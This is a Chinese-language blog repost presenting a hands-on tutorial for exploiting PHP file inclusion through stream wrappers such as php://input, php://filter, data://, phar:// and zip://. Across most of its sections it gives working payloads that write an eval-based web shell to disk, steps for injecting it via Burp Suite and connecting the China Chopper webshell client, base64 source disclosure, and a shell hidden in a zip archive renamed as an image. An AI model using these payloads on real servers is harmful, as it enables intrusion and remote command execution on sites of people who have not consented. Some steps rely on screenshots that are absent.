我是靠谱客的博主 娇气银耳汤,最近开发中收集的这篇文章主要介绍Php伪协议 入侵合约,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

Whois伪协议?

       PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。 除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。

        有两个比较重要的配置在php.ini中,allow_url_fopen 和allow_url_include会影响到fopen等等和include等等函数对于伪协议的 支持,而allow_url_include依赖allow_url_fopen,所以allow_url_fopen不 开启的话,allow_url_include也是无法使用的。 不说没用的 今天只研究php://

Php伪协议知多少

file:// 访问本地文件系统

http:// 访问 HTTP(s) 网址

ftp:// 访问 FTP(s) URLs

php:// 访问各个输入/输出流(I/O streams)

zlib:// 压缩流 data:// 数据(RFC 2397)

glob:// 查找匹配的文件路径模式

phar:// PHP 归档

sh2:// Ssecure Shell 2

rar:// RAR

ogg:// 音频流 expect:// 处理交互式的流

 

 

今天学习 主要学习php://input 其次zip:// data:// phar://

php://input

php://filter

 

方法一:

php://input (读取POST数据)

1.新建一个a.php 代码如下

2.访问一下127.0.0.1/a.php 返回空白

3.提交post 数据 查看结果~

(火狐插件)

php://input(写入木马)

不难发现 我们提交什么数据 他返回什么数据 假如我们提交 前面的一句话木马是不是 可以写入一句话木马取得shell? 试一试,创建一个新的a.php 内容如下

Post 提交数据为

<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

上菜刀!

 

方法二:

实验步骤

1、访问http://127.0.0.1/FI/PHP_FI.php?filename=LFI.txt,网页显示是文件包含漏洞。

2、双击桌面的【实验工具】文件夹,找到【burpsuite】,双击打开。

给火狐浏览器设置代理

3、浏览器访问http://127.0.0.1/FI/PHP_FI.php?filename=php://input,burpsuite自动抓包。

在burpsuite中的【Proxy】—【Intercept】—【Raw】下的文本框末提交数据<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

burpsuite中点击【Forward】。浏览器变为下图。

4、双击桌面的【实验工具】文件夹,打开【中国菜刀】文件夹,找到【中国菜刀.exe】双击打开。

空白处右击【添加】

在地址后的文本框添加网址http://127.0.0.1/FI/shell.php,地址框后的密码文本框填写cmd。点击【添加】。

 

 

有人说 啊 没有菜刀可以提权么? 这可以告诉你 没问题 看操作 a.php代码不变 Post提交的数据变一下

 

 

 

php://filter

创建文件(原来有可以忽略)a.php 内容 和 phpinfo.php内容

访问一下http://127.0.0.1/a.php?sj=php://filter/read/resource=phpinfo.php

http://127.0.0.1/a.php?sj=php://filter/read=convert.base64-encode/resource=phpinfo.php通过php封装协议读取当前目录下的phpinfo.php文件并进行base64编码(编码后,便不会被解析)

 

 

 

Data://

        数据流封装器,和php://相似都是利用了流的概念,将原本的include的文 件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方 法包含了你的输入流,通过你输入payload来实现目的; data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4

 

Phar://

       用法:?file=phar://压缩包/内部文件 phar://xxx.png/shell.php 注意: PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式 的文件都可以正常使用。 步骤: 写一个一句话木马文件shell.php,然后用zip协议压缩为shell.zip, 然后将后缀改为png等其他格式。

测试代码:

开始之前确保你的 phpstudy 版本是 5.39以后的

1.创建shell.php 内容

 

 2.右键打包成shell.zip

3.将shell.zip重新命名为shell.png

访问 127.0.0.1/a.php=phar;//文件名/原文件名

http://127.0.0.1/a.php?sj=phar://shell.png/shell.php

Post 内容为 cmd=phpinfo();

Zip://

 将php版本设置为5.3.0<PHP<5.4

1.使用前面的shell.png

2.访问http://127.0.0.1/a.php?sj=zip://shell.png%23shell.php

 

 

最后

以上就是娇气银耳汤为你收集整理的Php伪协议 入侵合约的全部内容,希望文章能够帮你解决Php伪协议 入侵合约所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(37)

评论列表共有 0 条评论

立即
投稿
返回
顶部